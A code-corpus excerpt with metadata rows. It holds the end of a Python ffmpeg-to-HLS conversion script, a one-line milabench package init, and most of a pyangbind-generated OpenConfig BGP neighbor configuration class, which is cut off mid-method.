#command = """ffmpeg -hide_banner -y -i \"""" + input_file_name + """\" -i """ + subtitle_path + """ -crf 20 -sc_threshold 0 -g 48 -keyint_min 48 -ar 48000 -map 0:v:0 -map 0:v:0 -map 0:v:0 -map 0:a:0 -map 0:a:0 -map 0:a:0 -c:v:0 h264 -profile:v:0 main -filter:v:0 -vf scale=1280:-1 -b:v:0 800k -maxrate:v:0 856k -bufsize:v:0 1200k -c:v:1 h264 -profile:v:1 main -filter:v:1 -vf scale=840:-1 -b:v:1 1400k -maxrate:v:1 1498k -bufsize:v:1 2100k -c:v:2 h264 -profile:v:2 main -filter:v:2 -vf scale=360:-1 -b:v:2 2800k -maxrate:v:2 2996k -bufsize:v:2 4200k -c:a:0 aac -b:a:0 96k -c:a:1 aac -b:a:1 128k -c:a:2 aac -b:a:2 128k -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" -master_pl_name \"""" + justName + """.m3u8\" -f hls -hls_time 4 -hls_playlist_type vod -hls_list_size 0 -hls_segment_filename \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """%03d.ts\" \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """.m3u8\""""
#command = """./ffmpeg -hide_banner -y -i \"""" + input_file_name + """\" -i """ + subtitle_path + """ -crf 20 -sc_threshold 0 -g 48 -keyint_min 48 -ar 48000 -map 0:v:0 -map 0:v:0 -map 0:v:0 -map 0:a:0 -map 0:a:0 -map 0:a:0 -c:v:0 h264 -profile:v:0 main -filter:v:0 -vf scale=1280:-1 -b:v:0 800k -maxrate:v:0 856k -bufsize:v:0 1200k -c:v:1 h264 -profile:v:1 main -filter:v:1 -vf scale=840:-1 -b:v:1 1400k -maxrate:v:1 1498k -bufsize:v:1 2100k -c:v:2 h264 -profile:v:2 main -filter:v:2 -vf scale=360:-1 -b:v:2 2800k -maxrate:v:2 2996k -bufsize:v:2 4200k -c:a:0 aac -b:a:0 96k -c:a:1 aac -b:a:1 128k -c:a:2 aac -b:a:2 128k -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" -master_pl_name \"""" + justName + """.m3u8\" -f hls -hls_time 4 -hls_playlist_type vod -hls_list_size 0 -hls_segment_filename \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """%03d.ts\" \"""" + parentDir + os.sep + justName + os.sep + justName + "-v%v" + os.sep + justName + """.m3u8\""""
if(os.sep == "\\"):
command = """ffmpeg -hide_banner -y -i \""""+input_file_name+"""\" -i """+subtitle_path+""" -crf 20 -sc_threshold 0 -g 48 -keyint_min 48 -ar 48000 -map 0:v:0 -map 0:v:0 -map 0:v:0 -map 0:a:0 -map 0:a:0 -map 0:a:0 -c:v:0 h264 -profile:v:0 main -filter:v:0 "scale=w=640:h=360:force_original_aspect_ratio=decrease" -b:v:0 800k -maxrate:v:0 856k -bufsize:v:0 1200k -c:v:1 h264 -profile:v:1 main -filter:v:1 "scale=w=842:h=480:force_original_aspect_ratio=decrease" -b:v:1 1400k -maxrate:v:1 1498k -bufsize:v:1 2100k -c:v:2 h264 -profile:v:2 main -filter:v:2 "scale=w=1280:h=720:force_original_aspect_ratio=decrease" -b:v:2 2800k -maxrate:v:2 2996k -bufsize:v:2 4200k -c:a:0 aac -b:a:0 96k -c:a:1 aac -b:a:1 128k -c:a:2 aac -b:a:2 128k -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" -master_pl_name \""""+justName+""".m3u8\" -f hls -hls_time 4 -hls_playlist_type vod -hls_list_size 0 -hls_segment_filename \""""+parentDir+os.sep+justName+os.sep+justName+"-v%v"+os.sep+justName+"""%03d.ts\" \""""+parentDir+os.sep+justName+os.sep+justName+"-v%v"+os.sep+justName+""".m3u8\""""
else:
command = """./ffmpeg -hide_banner -y -i \""""+input_file_name+"""\" -i """+subtitle_path+""" -crf 20 -sc_threshold 0 -g 48 -keyint_min 48 -ar 48000 -map 0:v:0 -map 0:v:0 -map 0:v:0 -map 0:a:0 -map 0:a:0 -map 0:a:0 -c:v:0 h264 -profile:v:0 main -filter:v:0 "scale=w=640:h=360:force_original_aspect_ratio=decrease" -b:v:0 800k -maxrate:v:0 856k -bufsize:v:0 1200k -c:v:1 h264 -profile:v:1 main -filter:v:1 "scale=w=842:h=480:force_original_aspect_ratio=decrease" -b:v:1 1400k -maxrate:v:1 1498k -bufsize:v:1 2100k -c:v:2 h264 -profile:v:2 main -filter:v:2 "scale=w=1280:h=720:force_original_aspect_ratio=decrease" -b:v:2 2800k -maxrate:v:2 2996k -bufsize:v:2 4200k -c:a:0 aac -b:a:0 96k -c:a:1 aac -b:a:1 128k -c:a:2 aac -b:a:2 128k -var_stream_map "v:0,a:0 v:1,a:1 v:2,a:2" -master_pl_name \""""+justName+""".m3u8\" -f hls -hls_time 4 -hls_playlist_type vod -hls_list_size 0 -hls_segment_filename \""""+parentDir+os.sep+justName+os.sep+justName+"-v%v"+os.sep+justName+"""%03d.ts\" \""""+parentDir+os.sep+justName+os.sep+justName+"-v%v"+os.sep+justName+""".m3u8\""""
#command = "./ffmpeg -i \""+input_file_name+"\" -c:v libx264 -crf 23 -preset medium -c:a aac -b:a 128k \-movflags +faststart -vf scale=-2:720,format=yuv420p \""+output_file_name+"\""
#command = "./HandBrakeCLI -i \""+input_file_name+"\" -o \""+output_file_name+"\" -Z \"Very Fast 720p30\""
#command = "./ffmpeg -i \""+input_file_name+"\" -profile:v baseline -level 3.0 -s 640x360 -start_number 0 -hls_time 10 -hls_list_size 0 -f hls \""+output_file_name+"\""
#command = "ffmpeg.exe -y -i \""+input_file_name+"\" -vf scale="+resolution+":-2,setsar=1:1 -c:v libx264 -c:a copy \""+output_file_name+"\" -preset ultrafast -bufsize 8000k"
print(command)
#command = ""
os.system(command)
os.system("pause")
def removeSpaces(path):
path = path.replace(" ", "%20")
return path
def get_output_path(file_path):
#file_path = file_path.split(os.sep)[-1]
split_list = file_path.split(".")
output_path = ""
for val in range(0, len(split_list) - 1):
output_path += split_list[val] + "."
#output_path += "x" + resolution
output_path += "m3u8"
return output_path
def start_process():
if len(sys.argv) > 1:
file_path = sys.argv[1]
subtitle_path = sys.argv[2]
output_path = get_output_path(file_path)
#output_path = "video.m3u8"
convert(file_path, output_path, subtitle_path)
else:
print("Input file path\n")
file_path = raw_input()
subtitle_path = raw_input("Enter the subtitle path\n")
output_path = get_output_path(file_path)
#output_path = "video.m3u8"
convert(file_path, output_path, subtitle_path)
start_process()
| 120.838235
| 1,073
| 0.644517
| 1,623
| 8,217
| 3.147258
| 0.091805
| 0.023493
| 0.091621
| 0.021143
| 0.804229
| 0.794049
| 0.786022
| 0.786022
| 0.786022
| 0.786022
| 0
| 0.118387
| 0.148838
| 8,217
| 67
| 1,074
| 122.641791
| 0.611953
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| 0
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| 0
| 0.157895
| 0.58237
| 0.186127
| 0
| 0
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| 0
| 1
| 0.105263
| false
| 0
| 0.078947
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| 0.236842
| 0.052632
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| null | 0
| 0
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| 1
| 1
| 1
| 1
| 1
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| 1
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| 0
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| null | 0
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| 0
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| 0
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| 0
| 0
| 0
| 0
|
0
| 8
|
bbad5875d3635569affa70440552ca5e5fd0cffb
| 45
|
py
|
Python
|
milarun/models/convnet/__init__.py
|
laceyg/milabench
|
a314094a406c2e98a932f6d4f3a9588a991148d3
|
[
"MIT"
] | 7
|
2020-07-09T18:55:00.000Z
|
2022-03-31T19:51:29.000Z
|
milarun/models/convnet/__init__.py
|
laceyg/milabench
|
a314094a406c2e98a932f6d4f3a9588a991148d3
|
[
"MIT"
] | 6
|
2020-07-02T08:58:39.000Z
|
2021-02-01T20:31:28.000Z
|
milarun/models/convnet/__init__.py
|
laceyg/milabench
|
a314094a406c2e98a932f6d4f3a9588a991148d3
|
[
"MIT"
] | 8
|
2020-06-19T17:16:19.000Z
|
2022-03-31T19:34:49.000Z
|
from .conv_simple import main as conv_simple
| 22.5
| 44
| 0.844444
| 8
| 45
| 4.5
| 0.75
| 0.555556
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.133333
| 45
| 1
| 45
| 45
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
bbbf36c146c08679bd040d2b24802d7674ff3cbc
| 103,443
|
py
|
Python
|
napalm_yang/models/openconfig/network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/__init__.py
|
ckishimo/napalm-yang
|
8f2bd907bd3afcde3c2f8e985192de74748baf6c
|
[
"Apache-2.0"
] | 64
|
2016-10-20T15:47:18.000Z
|
2021-11-11T11:57:32.000Z
|
napalm_yang/models/openconfig/network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/__init__.py
|
ckishimo/napalm-yang
|
8f2bd907bd3afcde3c2f8e985192de74748baf6c
|
[
"Apache-2.0"
] | 126
|
2016-10-05T10:36:14.000Z
|
2019-05-15T08:43:23.000Z
|
napalm_yang/models/openconfig/network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/__init__.py
|
ckishimo/napalm-yang
|
8f2bd907bd3afcde3c2f8e985192de74748baf6c
|
[
"Apache-2.0"
] | 63
|
2016-11-07T15:23:08.000Z
|
2021-09-22T14:41:16.000Z
|
# -*- coding: utf-8 -*-
from operator import attrgetter
from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType
from pyangbind.lib.yangtypes import RestrictedClassType
from pyangbind.lib.yangtypes import TypedListType
from pyangbind.lib.yangtypes import YANGBool
from pyangbind.lib.yangtypes import YANGListType
from pyangbind.lib.yangtypes import YANGDynClass
from pyangbind.lib.yangtypes import ReferenceType
from pyangbind.lib.base import PybindBase
from collections import OrderedDict
from decimal import Decimal
from bitarray import bitarray
import six
# PY3 support of some PY2 keywords (needs improved)
if six.PY3:
import builtins as __builtin__
long = int
elif six.PY2:
import __builtin__
class config(PybindBase):
"""
This class was auto-generated by the PythonClass plugin for PYANG
from YANG module openconfig-network-instance - based on the path /network-instances/network-instance/protocols/protocol/bgp/neighbors/neighbor/config. Each member element of
the container is represented as a class variable - with a specific
YANG type.
YANG Description: Configuration parameters relating to the BGP neighbor or
group
"""
__slots__ = (
"_path_helper",
"_extmethods",
"__peer_group",
"__neighbor_address",
"__enabled",
"__peer_as",
"__local_as",
"__peer_type",
"__auth_password",
"__remove_private_as",
"__route_flap_damping",
"__send_community",
"__description",
)
_yang_name = "config"
_pybind_generated_by = "container"
def __init__(self, *args, **kwargs):
self._path_helper = False
self._extmethods = False
self.__peer_group = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="peer-group",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="leafref",
is_config=True,
)
self.__neighbor_address = YANGDynClass(
base=[
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$"
},
),
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$"
},
),
],
is_leaf=True,
yang_name="neighbor-address",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:ip-address",
is_config=True,
)
self.__enabled = YANGDynClass(
base=YANGBool,
default=YANGBool("true"),
is_leaf=True,
yang_name="enabled",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
self.__peer_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="peer-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
self.__local_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="local-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
self.__peer_type = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={"INTERNAL": {}, "EXTERNAL": {}},
),
is_leaf=True,
yang_name="peer-type",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:peer-type",
is_config=True,
)
self.__auth_password = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="auth-password",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-types:routing-password",
is_config=True,
)
self.__remove_private_as = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REMOVE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
"oc-bgp-types:PRIVATE_AS_REPLACE_ALL": {
"@module": "openconfig-bgp-types",
"@namespace": "http://openconfig.net/yang/bgp-types",
},
},
),
is_leaf=True,
yang_name="remove-private-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:remove-private-as-option",
is_config=True,
)
self.__route_flap_damping = YANGDynClass(
base=YANGBool,
default=YANGBool("false"),
is_leaf=True,
yang_name="route-flap-damping",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
self.__send_community = YANGDynClass(
base=RestrictedClassType(
base_type=six.text_type,
restriction_type="dict_key",
restriction_arg={
"STANDARD": {}, "EXTENDED": {}, "BOTH": {}, "NONE": {}
},
),
default=six.text_type("NONE"),
is_leaf=True,
yang_name="send-community",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-bgp-types:community-type",
is_config=True,
)
self.__description = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="description",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="string",
is_config=True,
)
load = kwargs.pop("load", None)
if args:
if len(args) > 1:
raise TypeError("cannot create a YANG container with >1 argument")
all_attr = True
for e in self._pyangbind_elements:
if not hasattr(args[0], e):
all_attr = False
break
if not all_attr:
raise ValueError("Supplied object did not have the correct attributes")
for e in self._pyangbind_elements:
nobj = getattr(args[0], e)
if nobj._changed() is False:
continue
setmethod = getattr(self, "_set_%s" % e)
if load is None:
setmethod(getattr(args[0], e))
else:
setmethod(getattr(args[0], e), load=load)
def _path(self):
if hasattr(self, "_parent"):
return self._parent._path() + [self._yang_name]
else:
return [
"network-instances",
"network-instance",
"protocols",
"protocol",
"bgp",
"neighbors",
"neighbor",
"config",
]
def _get_peer_group(self):
"""
Getter method for peer_group, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_group (leafref)
YANG Description: The peer-group with which this neighbor is associated
"""
return self.__peer_group
def _set_peer_group(self, v, load=False):
"""
Setter method for peer_group, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_group (leafref)
If this variable is read-only (config: false) in the
source YANG file, then _set_peer_group is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_peer_group() directly.
YANG Description: The peer-group with which this neighbor is associated
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=six.text_type,
is_leaf=True,
yang_name="peer-group",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="leafref",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """peer_group must be of a type compatible with leafref""",
"defined-type": "leafref",
"generated-type": """YANGDynClass(base=six.text_type, is_leaf=True, yang_name="peer-group", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='leafref', is_config=True)""",
}
)
self.__peer_group = t
if hasattr(self, "_set"):
self._set()
def _unset_peer_group(self):
self.__peer_group = YANGDynClass(
base=six.text_type,
is_leaf=True,
yang_name="peer-group",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="leafref",
is_config=True,
)
def _get_neighbor_address(self):
"""
Getter method for neighbor_address, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/neighbor_address (oc-inet:ip-address)
YANG Description: Address of the BGP peer, either in IPv4 or IPv6
"""
return self.__neighbor_address
def _set_neighbor_address(self, v, load=False):
"""
Setter method for neighbor_address, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/neighbor_address (oc-inet:ip-address)
If this variable is read-only (config: false) in the
source YANG file, then _set_neighbor_address is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_neighbor_address() directly.
YANG Description: Address of the BGP peer, either in IPv4 or IPv6
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=[
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$"
},
),
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$"
},
),
],
is_leaf=True,
yang_name="neighbor-address",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:ip-address",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """neighbor_address must be of a type compatible with oc-inet:ip-address""",
"defined-type": "oc-inet:ip-address",
"generated-type": """YANGDynClass(base=[RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$'}),RestrictedClassType(base_type=six.text_type, restriction_dict={'pattern': '^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$'}),], is_leaf=True, yang_name="neighbor-address", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-inet:ip-address', is_config=True)""",
}
)
self.__neighbor_address = t
if hasattr(self, "_set"):
self._set()
def _unset_neighbor_address(self):
self.__neighbor_address = YANGDynClass(
base=[
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$"
},
),
RestrictedClassType(
base_type=six.text_type,
restriction_dict={
"pattern": "^(([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:))$"
},
),
],
is_leaf=True,
yang_name="neighbor-address",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:ip-address",
is_config=True,
)
def _get_enabled(self):
"""
Getter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/enabled (boolean)
YANG Description: Whether the BGP peer is enabled. In cases where the
enabled leaf is set to false, the local system should not
initiate connections to the neighbor, and should not
respond to TCP connections attempts from the neighbor. If
the state of the BGP session is ESTABLISHED at the time
that this leaf is set to false, the BGP session should be
ceased.
"""
return self.__enabled
def _set_enabled(self, v, load=False):
"""
Setter method for enabled, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/enabled (boolean)
If this variable is read-only (config: false) in the
source YANG file, then _set_enabled is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_enabled() directly.
YANG Description: Whether the BGP peer is enabled. In cases where the
enabled leaf is set to false, the local system should not
initiate connections to the neighbor, and should not
respond to TCP connections attempts from the neighbor. If
the state of the BGP session is ESTABLISHED at the time
that this leaf is set to false, the BGP session should be
ceased.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=YANGBool,
default=YANGBool("true"),
is_leaf=True,
yang_name="enabled",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """enabled must be of a type compatible with boolean""",
"defined-type": "boolean",
"generated-type": """YANGDynClass(base=YANGBool, default=YANGBool("true"), is_leaf=True, yang_name="enabled", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='boolean', is_config=True)""",
}
)
self.__enabled = t
if hasattr(self, "_set"):
self._set()
def _unset_enabled(self):
self.__enabled = YANGDynClass(
base=YANGBool,
default=YANGBool("true"),
is_leaf=True,
yang_name="enabled",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="boolean",
is_config=True,
)
def _get_peer_as(self):
"""
Getter method for peer_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_as (oc-inet:as-number)
YANG Description: AS number of the peer.
"""
return self.__peer_as
def _set_peer_as(self, v, load=False):
"""
Setter method for peer_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/peer_as (oc-inet:as-number)
If this variable is read-only (config: false) in the
source YANG file, then _set_peer_as is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_peer_as() directly.
YANG Description: AS number of the peer.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="peer-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """peer_as must be of a type compatible with oc-inet:as-number""",
"defined-type": "oc-inet:as-number",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), is_leaf=True, yang_name="peer-as", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-inet:as-number', is_config=True)""",
}
)
self.__peer_as = t
if hasattr(self, "_set"):
self._set()
def _unset_peer_as(self):
self.__peer_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="peer-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
def _get_local_as(self):
"""
Getter method for local_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/local_as (oc-inet:as-number)
YANG Description: The local autonomous system number that is to be used
when establishing sessions with the remote peer or peer
group, if this differs from the global BGP router
autonomous system number.
"""
return self.__local_as
def _set_local_as(self, v, load=False):
"""
Setter method for local_as, mapped from YANG variable /network_instances/network_instance/protocols/protocol/bgp/neighbors/neighbor/config/local_as (oc-inet:as-number)
If this variable is read-only (config: false) in the
source YANG file, then _set_local_as is considered as a private
method. Backends looking to populate this variable should
do so via calling thisObj._set_local_as() directly.
YANG Description: The local autonomous system number that is to be used
when establishing sessions with the remote peer or peer
group, if this differs from the global BGP router
autonomous system number.
"""
if hasattr(v, "_utype"):
v = v._utype(v)
try:
t = YANGDynClass(
v,
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="local-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
register_paths=True,
namespace="http://openconfig.net/yang/network-instance",
defining_module="openconfig-network-instance",
yang_type="oc-inet:as-number",
is_config=True,
)
except (TypeError, ValueError):
raise ValueError(
{
"error-string": """local_as must be of a type compatible with oc-inet:as-number""",
"defined-type": "oc-inet:as-number",
"generated-type": """YANGDynClass(base=RestrictedClassType(base_type=long, restriction_dict={'range': ['0..4294967295']}, int_size=32), is_leaf=True, yang_name="local-as", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, namespace='http://openconfig.net/yang/network-instance', defining_module='openconfig-network-instance', yang_type='oc-inet:as-number', is_config=True)""",
}
)
self.__local_as = t
if hasattr(self, "_set"):
self._set()
def _unset_local_as(self):
self.__local_as = YANGDynClass(
base=RestrictedClassType(
base_type=long,
restriction_dict={"range": ["0..4294967295"]},
int_size=32,
),
is_leaf=True,
yang_name="local-as",
parent=self,
path_helper=self._path_helper,
extmethods=self._extmethods,
